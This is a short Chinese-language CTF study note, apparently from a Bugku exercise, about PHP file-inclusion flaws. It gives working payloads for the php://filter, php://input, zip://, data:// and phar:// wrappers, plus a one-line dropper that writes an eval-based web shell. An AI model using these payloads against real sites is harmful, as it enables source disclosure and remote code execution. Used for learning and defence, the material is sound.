标签:文件 bugku 二十三 zip 包含 file input php 压缩包
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,导致意外的文件泄漏甚至恶意代码注入。
?file=php://filter/read=convert.base64-encode/resource=index.php
php://input
可以访问请求的原始数据的只读流。当传入的参数作为文件名打开时,可以将参数设为php://input
,同时post设置成文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。遇到file_get_contents()
要想到用php://input
绕过
poc1:
?file=php://input
[POST DATA] <?php phpinfo();?>
还可以上传一句话木马 poc2
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
php://filter
可以获取指定文件源码。php://filter
流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
poc1:
?file=php://filter/resource=xxx.php
poc2:
?file=php://filter/read=convert.base64-encode/resource=xxx.php
POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。
zip://
可以访问压缩包里面的文件。当它与包含函数结合时,zip://
流会被当作php文件执行。从而实现任意代码执行。
zip://
中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://
poc:
zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\zip.jpg%23phpinfo.txt
data:// 同样类似与php://input,
phar:// 有点类似zip://
phar://中相对路径和绝对路径都可以使用
标签:文件,bugku,二十三,zip,包含,file,input,php,压缩包 来源: https://blog.csdn.net/m0_53008479/article/details/120123837
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。